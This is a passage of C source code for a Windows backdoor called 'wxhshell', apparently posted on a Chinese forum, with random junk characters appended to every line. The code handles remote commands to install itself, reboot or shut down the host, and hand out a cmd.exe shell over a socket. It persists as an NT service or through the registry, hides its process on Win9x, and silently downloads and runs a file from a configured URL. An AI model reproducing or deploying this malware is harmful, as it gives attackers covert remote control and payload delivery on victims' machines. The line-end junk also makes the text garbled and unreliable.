  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \yqiv"'  
  else u0,~pJvX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C9z{8 ;  
  } YW5E |z  
  else { 5FMKJ7sC9  
[Xrq+O,  
    switch(cmd[0]) { 3B0%:Jj  
  gR+Z"]  
  // 帮助 9T]]TEv4  
  case '?': { b7n~z1$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xU&rUk/L  
    break; _FV.}%W<u  
  } ,%C$~+xjM  
  // 安装 8WH>  
  case 'i': { .cb mCFXL  
    if(Install()) ;(sb^O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]:njP3r  
    else fkYQ3d,`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vf@/}=X *  
    break; L*_xu _F  
    } I9MI}0}7  
  // 卸载 #wo_  
  case 'r': { myo/}58Nv  
    if(Uninstall()) H\S,^)drJ?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MLDuo|?  
    else D"hiEz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pxN'E;P-  
    break; L/ZZe5I  
    } s^U^n//  
  // 显示 wxhshell 所在路径 (X8N?tJ  
  case 'p': { mB\5bSFY`  
    char svExeFile[MAX_PATH]; _+{s^n=  
    strcpy(svExeFile,"\n\r"); {hl_/ aG  
      strcat(svExeFile,ExeFile); Mk?9`?g.  
        send(wsh,svExeFile,strlen(svExeFile),0); xP*RH-<  
    break; RPrk]<<1  
    } Wj3H  y4  
  // 重启 B4b UcYk  
  case 'b': { K,RIa0)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O~D}&M@/R  
    if(Boot(REBOOT)) [`&cA#C9Yp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /; _"A)0  
    else { <I>q1m?KN  
    closesocket(wsh); \KEL.}B9E  
    ExitThread(0); PQ5DTk  
    } >3ODqRu  
    break; ovHbs^H%  
    } 2@H~nw 0  
  // 关机 0QPipuP  
  case 'd': { e#AB0-f  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Pg:Nz@CQ  
    if(Boot(SHUTDOWN)) Kb}N!<Z*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QW!'A`*x  
    else { /#XO!%=7  
    closesocket(wsh); M:x8]TA  
    ExitThread(0); K@fxCj*}  
    } T4UY%E!0  
    break; 0e:aeLh  
    } !b 7H  
  // 获取shell j_{gk"2:d`  
  case 's': { * T-XslI  
    CmdShell(wsh); -,rl[1ZYZ  
    closesocket(wsh); !=-l760  
    ExitThread(0); .`iq+i~  
    break; ZpZ~[BtQ  
  } 5E%W;$3Pb  
  // 退出 Ro1l:P)C`  
  case 'x': { $yt|nO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ft]sTA+C  
    CloseIt(wsh); `*slQ }i  
    break; LR^b?.#>  
    } )TWf/L cp  
  // 离开 =gj]R  
  case 'q': { _WkK%RYV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $Fn# b|e  
    closesocket(wsh); H95VU"  
    WSACleanup(); "?Y0Ng[  
    exit(1); ZHZ>YSqCS  
    break; 41:Z8YL(  
        } 7#RW4ZM  
  } S-1}3T%  
  } K<t(HK#[  
(cMrEuv  
  // 提示信息 !~RD>N&n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3:C *'@  
} /r)d4=1E  
  } }3+(A`9h f  
> 4^U=T#  
  return; o~~_>V)W  
} Ao,lEjNI  
u%T.XgY=j  
// shell模块句柄 lr|-_snx2  
int CmdShell(SOCKET sock) @P8q=j}l9  
{ 3U}z?gP[  
STARTUPINFO si; ^{bP#f   
ZeroMemory(&si,sizeof(si)); ^awl-CG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T"2ye9a  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6=zme6D  
PROCESS_INFORMATION ProcessInfo; {u!,TDt*  
char cmdline[]="cmd"; B (BWdrG  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yXkgGY5  
  return 0; . E.OBn  
} KJ-D|N,8@^  
:]]amziP&  
// 自身启动模式 ";GLX%C!{@  
int StartFromService(void) u!F3Rh8D  
{ _{A($/~c?  
typedef struct "BTA"  
{ f",B;C  
  DWORD ExitStatus; iA:CPBv_mu  
  DWORD PebBaseAddress; ?1[go+56X  
  DWORD AffinityMask; 1e&`m~5K+  
  DWORD BasePriority; NSxDCTw  
  ULONG UniqueProcessId; Gjzhgz--  
  ULONG InheritedFromUniqueProcessId; H6~QSe0l  
}   PROCESS_BASIC_INFORMATION; &)wQ|{P~k  
*<9p88FpDU  
PROCNTQSIP NtQueryInformationProcess; 3fGy  
7%0PsF _  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9zX\i oT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F[J;u/Z  
VJ wzYl   
  HANDLE             hProcess; SX;FBO(p  
  PROCESS_BASIC_INFORMATION pbi; r^]0LJ  
$bN%x/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )2R:P`U  
  if(NULL == hInst ) return 0; DB?[h<^m  
((H}d?^AJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )EO$JwQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D L$P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lfCoL@$6D  
Q:%gJ6pa  
  if (!NtQueryInformationProcess) return 0; 6-<r@{m$  
aE:fMDS|x  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YWm:#{n.  
  if(!hProcess) return 0; bd%/dr  
??k^Rw+0R  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "F0,S~tZZ  
>SccoI  
  CloseHandle(hProcess); 2#sE\D  
AN^;~m^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \n/_ Px  
if(hProcess==NULL) return 0; 0C0iAp  
(}}BZ S&.  
HMODULE hMod; X3'z'5  
char procName[255]; >bmL;)mc&  
unsigned long cbNeeded; k8w8I$QEM  
}J:~}?^%n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '!Q[+@$  
}<XeZ?;  
  CloseHandle(hProcess); l'$AmuGj  
u dH7Q&"  
if(strstr(procName,"services")) return 1; // 以服务启动 Mq6"7L  
Yj;$hV8j(  
  return 0; // 注册表启动 UP#]n 69y  
} ]x~H"<V  
_< xU"8b"5  
// 主模块 >\MV/!W  
int StartWxhshell(LPSTR lpCmdLine) P hn&hRAO  
{ U|iSJ%K  
  SOCKET wsl; $S6AqUk$  
BOOL val=TRUE; *-g S u  
  int port=0; tV%M2 DxS  
  struct sockaddr_in door; jH \@Oc;7  
hYF<Wn3L  
  if(wscfg.ws_autoins) Install(); '|Cs!Zl  
sgFpZk  
port=atoi(lpCmdLine); 1 aIJ0#nE  
b[H& vp  
if(port<=0) port=wscfg.ws_port; rW!P~yk  
\u:xDS(  
  WSADATA data; $UKV2c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /J1O{L  
C <]rY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /G\-v2iD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :Bda]]Y=  
  door.sin_family = AF_INET; (5VP*67  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z]~B@9l  
  door.sin_port = htons(port); YpXUYNy  
NNSn]LP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~^:/t<N  
closesocket(wsl); f |aO9w   
return 1; "o% N`Xlx  
} %Wn/)#T|  
 Trm)7B*  
  if(listen(wsl,2) == INVALID_SOCKET) { \O`B@!da~  
closesocket(wsl); par $0z/  
return 1; 91`biVZfA  
} |fq1Mn8  
  Wxhshell(wsl); N!aV~\E  
  WSACleanup(); j2g#t  
)k=8.j4  
return 0; [\eUCt F  
+#n5w8T)M  
} 5"k _Ms7R,  
vY6eg IO  
// 以NT服务方式启动 N%n#mV;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8gr&{-5  
{ |$^,e%bE  
DWORD   status = 0; 1u 'x|Un  
  DWORD   specificError = 0xfffffff; M'Q{2%:>a  
>\[sNCkf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7DXT1+t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I3p ~pt2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .}%$l.#a  
  serviceStatus.dwWin32ExitCode     = 0; 0}-&v+  
  serviceStatus.dwServiceSpecificExitCode = 0; 0g~WM  
  serviceStatus.dwCheckPoint       = 0; DSD#',  
  serviceStatus.dwWaitHint       = 0; hekAics6S  
*ofK|r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K-(,,wS  
  if (hServiceStatusHandle==0) return; 'l)@MX bGL  
DTsc&.29^  
status = GetLastError(); ;"wU+  
  if (status!=NO_ERROR) |s[m;Qm[ku  
{ XLI'f$w&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X Oc0j9Oa  
    serviceStatus.dwCheckPoint       = 0; Ds$FO}KD{  
    serviceStatus.dwWaitHint       = 0; .0r5=  
    serviceStatus.dwWin32ExitCode     = status; +|r) ;>b  
    serviceStatus.dwServiceSpecificExitCode = specificError; m},nKsO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^s_E|~U  
    return; :$j!e#?=  
  } ]Y}faW(&Y  
+);o{wfW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .9S  
  serviceStatus.dwCheckPoint       = 0; s=u0M;A0Q  
  serviceStatus.dwWaitHint       = 0; 45W:b/n\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n +`(R]Q  
} R1\cAP^ 0  
Y:ZI9JK?  
// 处理NT服务事件,比如:启动、停止 aG?'F`UQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0&$e:O'v  
{ Y6W3WPs(  
switch(fdwControl) jrvhTej  
{ av&dGsFP  
case SERVICE_CONTROL_STOP: Lb{~a_c  
  serviceStatus.dwWin32ExitCode = 0; 0`3ey*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; QaUh+k<6  
  serviceStatus.dwCheckPoint   = 0; (S =::ODU  
  serviceStatus.dwWaitHint     = 0; #sq-V,8  
  { &H-39;?u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HRC5z<k%  
  } +g@@|&B  
  return; #}^ZxEU  
case SERVICE_CONTROL_PAUSE: gh['T,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; g*AnrQ}P  
  break;  Xb&r|pR  
case SERVICE_CONTROL_CONTINUE: qd%5[A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A|c  :&i  
  break; _bMD|  
case SERVICE_CONTROL_INTERROGATE: ~BaU2S@y  
  break; Cx} Yp-  
}; oy;N3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _|g(BK2}  
} nZ$,Bjb  
(TDLT^  
// 标准应用程序主函数 f)vD2_E  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jCtl ]  
{ L/c$p`-  
~2S`y=*:  
// 获取操作系统版本 rPZ<  
OsIsNt=GetOsVer(); "/O0j/lm  
GetModuleFileName(NULL,ExeFile,MAX_PATH); acRPKTs H  
=uYSZR  
  // 从命令行安装 6jO*rseC  
  if(strpbrk(lpCmdLine,"iI")) Install(); O_FT@bo\  
F C2oP,  
  // 下载执行文件 J<H$B +;qR  
if(wscfg.ws_downexe) { LrsP4G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J3}^\k=p"  
  WinExec(wscfg.ws_filenam,SW_HIDE); #z6RzZu  
} nv2Y6e}dG  
R5H UgI  
if(!OsIsNt) { Qo0okir  
// 如果时win9x,隐藏进程并且设置为注册表启动 o%+K S5v!  
HideProc(); pr>K#@^  
StartWxhshell(lpCmdLine); ~bWqoJ;Q  
} ;KbnaUAS8  
else >6@*%LM  
  if(StartFromService()) 3`5?Zgp  
  // 以服务方式启动 3 B KW  
  StartServiceCtrlDispatcher(DispatchTable); q}M^i7IE  
else v7\~OOoH]  
  // 普通方式启动 *J 7>6N:-  
  StartWxhshell(lpCmdLine); SrN0f0  
[t: =%&B  
return 0; wpb6F '  
}
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只看该作者 1 发表于: 2006-10-10
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